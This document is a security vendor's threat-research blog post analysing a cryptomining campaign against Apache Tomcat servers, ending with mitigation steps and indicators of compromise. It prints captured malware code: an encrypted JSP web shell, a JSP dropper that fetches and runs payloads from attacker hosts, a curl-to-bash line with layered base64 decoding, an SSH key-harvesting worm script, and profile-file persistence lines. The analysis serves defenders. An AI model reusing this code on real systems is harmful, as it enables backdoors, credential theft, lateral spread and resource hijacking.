Aqua Blog

Tomcat in the Crosshairs: New Research Reveals Ongoing Attacks

Tomcat in the Crosshairs: New Research Reveals Ongoing Attacks

News headlines reported that it took just 30 hours for attackers to exploit a newly discovered vulnerability in Apache Tomcat servers. But what does this mean for workloads relying on Tomcat? Aqua Nautilus researchers discovered a new attack campaign targeting Apache Tomcat. In this blog, we shed light on newly discovered malware that targets Tomcat servers to hijack resources.

After gaining initial access, the attackers uploads encrypted and encoded payloads that establish backdoors and persistence mechanisms. They then deploy two binaries disguised as kernel processes to exploit the server. The attack infrastructure appears to be relatively new, and code snippets suggest possible links to a Chinese-speaking threat actor. In this blog, we break down how the attack works—and how to stop it.

Tomcat Campaign 25′: Attack Flow

The campaign targets Apache Tomcat servers and deploys encrypted payloads designed to run on both Windows and Linux systems. Once executed, the attack disguises itself, steals SSH credentials to spread laterally, and ultimately hijacks resources for cryptocurrency mining. It all starts with a brute-force attempt from a remote server using a Python script, which tests commonly used usernames and weak passwords on the Tomcat management console (e.g., username “Tomcat” and password “123456”).

Figure 1: Attack Flow of the Tomcat campaign 2025

After successfully guessing the Apache Tomcat honeypot (easy-to-guess) credentials, the attacker uploads and executes two JavaServer Pages (JSP) files on the Tomcat server.

try{
        String key="bc2b2f7b5fd5e9db";
        request.setAttribute("sky", key);
        String data=request.getReader().readLine();
        if (data!= null) {
            String ver = System.getProperty("java.version");
            byte[] code=null;
            if (ver.compareTo("1.8") >= 0) {
                Class Base64 = Class.forName("java.util.Base64");
                Object Decoder = Base64.getMethod("getDecoder", (Class[]) null).invoke(Base64, (Object[]) null);
                code = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data.getBytes("UTF-8")});
            } else {
                Class Base64 = Class.forName("sun.misc.BASE64Decoder");
                Object Decoder = Base64.newInstance();
                code = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{data});
            }
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(key.getBytes(), "AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(code)).newInstance().equals(pageContext);
        }
    }catch(Exception e){
};

As shown in the code snippet above, the first script functions as a backdoor loader, while the second serves as a persistence and privilege escalation mechanism. The first script is a Java-based web shell that enables the attacker to execute arbitrary Java code on the server. This code imports Java libraries to enable dynamic code execution, decodes encrypted payload requests, and uses AES encryption with a fixed key (bc2b2f7b5fd5e9db) to load and execute the new Java class.

String s = "\"";
String file = s + nametime + "\\tomcat.jsp" + s;
String file2 = s + chmodtime + "\\ROOT\\tomcat.jsp" + s;
String file3 = s + chmodtime + "\\manager\\tomcat.jsp" + s;
String file4 = s + chmodtime + "\\DOCS\\tomcat.jsp" + s;
String file0 = s + chmodtime + s;
String USER = s + "%USERNAME%" + s;
String cmdruns = "C:\\Users\\Public\\os.s";
String command = "cmd /c echo y|copy " + file + " " + file2 + " >nul"
        + "&&echo ----file ROOT good---- || echo ----file ROOT error----" + "&echo y|copy " + file + " "
        + file3 + " >nul" + "&&echo ----file Manager good---- || echo ----file Manager error----"
        + "&echo y|copy " + file + " " + file4 + " >nul"
        + "&&echo ----file DOCS good---- || echo ----file DOCS error---- "
        + "&whoami|findstr system&& echo Y|Cacls " + file0
        + "  /p system:r everyone:r >nul && echo  qx GOOD ||echo Y|Cacls " + file0 + "  /p " + USER
        + ":r everyone:r >nul && echo  qx GOOD ||echo qx error|del /Q /F /S "+chmodtime+"//dr.war";
String command2 = "cmd /c echo S|copy " + file + " " + file2 + " >nul"
        + "&&echo ----file ROOT good---- || echo ----file ROOT error----" + "&echo S|copy " + file + " "
        + file3 + " >nul" + "&&echo ----file Manager good---- || echo ----file Manager error----"
        + "&echo S|copy " + file + " " + file4 + " >nul"
        + "&&echo ----file DOCS good---- || echo ----file DOCS error---- " + "&echo S|Cacls " + file0
        + "  /p " + USER + ":r everyone:r >nul && echo  qx GOOD ||echo qx error|del /Q /F /S "+chmodtime+"//dr.war";
String fileDelde = chmodtime+"\\";
saveUrlAs("http://113.198.137.150:8080/os.s","C:\\Users\\Public\\os.s");
travelDirectory(fileDelde,out);
Runtime.getRuntime().exec(cmdruns);
Process p = Runtime.getRuntime().exec(command);
Process ps = Runtime.getRuntime().exec(command2);

The second script is another Java-based web shell but is more malicious. By default, it attempts to download and execute a .exe file without checking if the system is running Windows. The file os.s is downloaded and saved in to C:\Users\Public\os.s which is then executed.

The script also reads the absolute path of the current JSP file (tomcat.jsp) using application.getRealPath() and runs system commands like whoami to determine the privileges and permissions of the current user. It then copies itself to multiple locations (ROOT/tomcat.jsp, manager/tomcat.jsp, DOCS/tomcat.jsp) to maintain persistence.
If the .exe payload execution fails, the script treats the system as a Linux machine and drops a shell script w instead.

out.println("This is Linux");
String linuxname[] = chmodtime.split("/dr/tomcat.jsp");
String linuxpath = null;
for (String name : linuxname) {
    linuxpath = name;
}
String k = "tomcat.jsp";
String file2 = linuxpath + "/ROOT/tomcat.jsp";
String file3 = linuxpath + "/manager/tomcat.jsp";
String file4 = linuxpath + "/docs/tomcat.jsp";
String runcommand6[]={"sh", "-c", "chmod 777 /var/tmp/sos&&/var/tmp/sos&&rm -rf /var/tmp/sos"};
String[] cmd = {
    "/bin/bash",
    "-c",
    "(curl https://www.dbliker.top/w||wget −q -O- https://www.dbliker.top/w||cc https://www.dbliker.top/w||ww -q -O- https://www.dbliker.top/w)| sed -n 's/.*shexe\\(.*\\)shexe.*/\\1/p'|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|bash"
};

The shell script is hosted on the domain dbliker.top, which was registered in early February 2025, indicating that his is fairly a new attack. The payload undergoes four layers of decoding, changes permissions, executes, and deletes its traces.

{
out.println("This is Linux");
String linuxname[] = chmodtime.split("/dr/tomcat.jsp");
String linuxpath = null;
for (String name : linuxname) {
    linuxpath = name;
}
String k = "tomcat.jsp";
String file2 = linuxpath + "/ROOT/tomcat.jsp";
String file3 = linuxpath + "/manager/tomcat.jsp";
String file4 = linuxpath + "/docs/tomcat.jsp";
String runcommand6[]={"sh", "-c", "chmod 777 /var/tmp/sos&&/var/tmp/sos&&rm -rf /var/tmp/sos"};
String[] cmd = {
    "/bin/bash",
    "-c",
    "(curl https://www.dbliker.top/w||wget −q -O- https://www.dbliker.top/w||cc https://www.dbliker.top/w||ww -q -O- https://www.dbliker.top/w)| sed -n 's/.*shexe\\(.*\\)shexe.*/\\1/p'|base64 -d|base64 -d|base64 -d|base64 -d|base64 -d|bash"
};

A second version of the test.jsp script was observed. This version downloads another script called ldr.sh from a different server. This script contains additional functionalities, such as collecting local SSH keys and searching for hosts to infect within the compromised network.

The w and ldr.sh scripts are both designed to execute the main payload. They download from remote server a packed ELF binary named app.

In addition, the script is designed to check if the user has root privileges and if so it executes two functions that optimize CPU consumption for a better cryptomining results.

if [ `whoami` = "root" ];then
         yy
         tt
else
 echo "No root"
fi
_sig="$HOME/.localssh"
if [ ! -f $_sig ]; then
touch $_sig
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}"|uniq)
USERZ=$(
    echo root
    find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|grep -v "\.ssh"
)
users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-)
for user in $users; do
    for host in $hosts; do
        for key in $keys; do
            chmod +r $key; chmod 400 $key
            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ldr.sh?ssh||curl $cc/ldr.sh?ssh2||wget −q -O- $cc/ldr.sh?ssh)|sh"
        done
    done
done
fi

Furthermore, as you can observe in the code snippet above, the ldr.sh script contains a local ssh search and infection of the machines that were found.

The main payload is an elf file. It is packed, striped from strings and encrypted. The initial size of the file is 2.6 Mb and when unpacked it reaches 8.6 Mb. In a sandbox environment we executed the malware, with Strace to analyze its activity. The malware displayied anti-debugging behavior, as well as memory mapping as part of its unpacking, cloning to new threads, initiating socket communication in port 58493 and terminates itself. It also saves a copy in the /opt/ path and deletes the original dropped binary.

The packed elf is executed (PID 43), created a new process (PID 53)

Figure 2: The packed elf is executed (PID 43), created a new process (PID 53)

When running with Aqua Tracee in the background it doesn’t exit and allowing further analysis of its behavior. The main binary is cloning itself and masquerades as a kernel process running as (sd-pam), terminates and deletes itself. Then it drops another binary which is the same one with few modifications to get a different hash value, making it harder for defenders to block it based on the binary’s hash value. The new binary is also masquerading as a kernel process (running as [cpuhp/0]). It runs a cryptominer in the back ground connecting to several mining pools such as gulf.moneroocean.stream and auto.c3pool.org.

Eventually the cryptominers disguise as kernel processes [cpuhp/0] and [kworker/R-rcu_p]

Figure 3: are modifies files like /etc/profile and /bashrc.

# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
  PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
export PATH

if [ "$PS1" ]; then
  if [ "$BASH" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the default PS1.
    # PS1='\h:\w\$ '
    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi
  else
    if [ "`id -u`" -eq 0 ]; then
      PS1='# '
    else
      PS1='$ '
    fi
  fi
fi

if [ -d /etc/profile.d ]; then
  for i in /etc/profile.d/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done
  unset i
fi
echo My>/dev/null 2>&1 &/opt/dor9jgu31j51t >/dev/null 2>&1 &
# ~/.profile: executed by Bourne-compatible login shells.

if [ "$BASH" ]; then
  if [ -f ~/.bashrc ]; then
    . ~/.bashrc
  fi
fi

mesg n
echo My>/dev/null 2>&1 &/opt/dor9jgu31j51t >/dev/null 2>&1 &

In both files there is an execution of the copy of the main payload:

echo My>/dev/null 2>&1 &/opt/dor9jgu31j51t >/dev/null 2>&1 &

A notable technique used in this attack is the method the attackers use to hide the secondary payload. When visiting the website https://www.dbliker.top/w to download the script, the page displays a misleading 404 error message suggesting that the attack has ceased or is still in progress. However, a closer inspection of the HTML file reveals that the payload is well-hidden within the page.

Figure 4: The website returns a fake 404 missing page error while the payload is hidden inside the html

Inside the script, there are comments in Chinese. These remarks are embedded within the file and refer to the malware execution, and success or fail of actions, for instance: the text 获取当前JSP文件真实路径: in Chinese means “Get the real path of the current JSP file”, and the text 文件已标记删除,将在服务器重启后生效 in Chinese means “The file has been marked for deletion and will take effect after the server is restarted”. While this was surprising to find some Chinese writings in this script, it could either be a way of the attackers to mislead us to think they are from Chinese origin, or a test content they failed to remove because the rest of the code and binaries don’t contain any text in Chinese language.

    // 获取当前JSP文件真实路径
    String currentFilePath = application.getRealPath(request.getServletPath());
    File currentFile = new File(currentFilePath);

    try {
        if (currentFile.exists()) {
            // 尝试立即删除
            boolean deleted = currentFile.delete();
            if (deleted) {
                out.print("文件已标记删除,将在服务器重启后生效");
            } else {
                out.print("删除失败(文件可能被服务器锁定)");
            }
        }
    } catch (SecurityException e) {
        out.print("安全权限异常:" + e.getMessage());
    } 
%>
<%!
 public boolean saveUrlAs(String photoUrl, String fileName) {
//下载开始

Detecting This Malware and Protecting your Environments

In this case of a Tomcat server, it only took 30 hours for attackers to weaponize their botnets and target Tomcat servers. There are several known attacks and attackers who actively target Tomcat servers, for instance Mirai, Kinsing, TeamTNT and others. So, if we consider a large organization with hundreds of technical employees, dozens of cloud accounts and thousands of elements in their stack, patching, even a time-sensitive, vulnerabilities can take some time. Even more than 30 hours. Thus, another compensating layer is needed.

The Aqua Nautilus honeypots are being monitored by Aqua Security’s enforcers. In this case we set the system to detect suspicious/malicious behavior. To fully learn about the attack we only marked what can be blocked, but in reality we enabled the attackers to run freely on the honeypot and attack our server.

The vulnerable workload (Apache Tomcat) was protected by Aqua in real-time. As seen in Figure 5 below, 16 different incidents were triggered as part of this attack, including a binary drift, binary deletion, binary unpacking and kernel impersonation.

Runtime Incidents detected in the Aqua platform

Figure 5: Runtime Incidents detected in the Aqua platform

Further analysis of the attack can be done in the audit report section. There are 319 audit events available to shed further bright light on this incident. On the right side, per each audit log you can observe further details about each log, the file that triggered the log, the rule, and additional information that can help you investigate and classify the attack.

Runtime security audit logs

Figure 6: Runtime security audit logs

Mitigation of Tomcat environments

  1. Patch Vulnerabilities: Ensure that all vulnerabilities are patched. Particularly internet facing applications such as Tomcat servers. Vulnerabilities such as CVE-2025-24813 that are new, critical and actively exploited should be prioritized.
  2. Disable Unused Services: Disable any services that aren’t required, particularly those that may expose the system to external attackers, such as HTTP services.
  3. Disable Unused Management Interfaces: If you don’t need the Tomcat Manager or Host Manager apps, disable or restrict access to them. Use IP filtering or restrict by host to limit exposure.
  4. Implement Strict Privilege Management: Restrict root access to critical files and directories. Use Role-Based Access Control (RBAC) to limit what users and processes can access or modify.
  5. Network Segmentation: Isolate critical servers from the internet or use firewalls to restrict outbound communication, especially connections to cryptomining pools.
  6. Deploy Runtime Protection: Use advanced anti-malware and behavioral detection tools that can detect malware behavior and cryptominers like in this attack.

Indications of Compromise (IOCs)

Type Value Comment
IP Addresses
IP Address 209.141.37.95 Attacker IP Tor Exit Router
IP Address 138.201.247.154 Download server
IP Address 68.183.238.15 Download server
IP Address 216.239.38.21 Download server
Domains
Domain dbliker.top Download server
Files
JSP file MD5: 8b3a077339cd75a313a531798852a352 Malicious Java script (test.jsp)
JSP file MD5: d82a372d3f9ee28b34f0f8299d7a5132 Malicious Java script (tomcat.jsp)
Binary file MD5: bd8ce6bd59b1f648e0ac38e575780453 Windows malware (os.s.exe)
Binary file MD5: 5e2814800cbe66281511ae5dfa62a94e Packed main payload
Binary file MD5: 5012b9d97848cafc2d5a55ea098c7d3c Unpacked main payload
Binary file MD5: 718edc4d574df0accd3ba7591a43eddf Packed main payload
Binary file MD5: fd87e203c4867c688024175aeee0092f Unpacked main payload
Shell file MD5: 713091980135a30a452b34026d949890 ldr.sh shell file
Shell file MD5: ff20fd3228162a71efa8c4b3786b4c3e w.sh shell file
Assaf Morag
Assaf is the Director of Threat Intelligence at Aqua Nautilus, where is responsible of acquiring threat intelligence related to software development life cycle in cloud native environments, supporting the team's data needs, and helping Aqua and the broader industry remain at the forefront of emerging threats and protective methodologies. His research has been featured in leading information security publications and journals worldwide, and he has presented at leading cybersecurity conferences. Notably, Assaf has also contributed to the development of the new MITRE ATT&CK Container Framework.

Assaf recently completed recording a course for O’Reilly, focusing on cyber threat intelligence in cloud-native environments. The course covers both theoretical concepts and practical applications, providing valuable insights into the unique challenges and strategies associated with securing cloud-native infrastructures.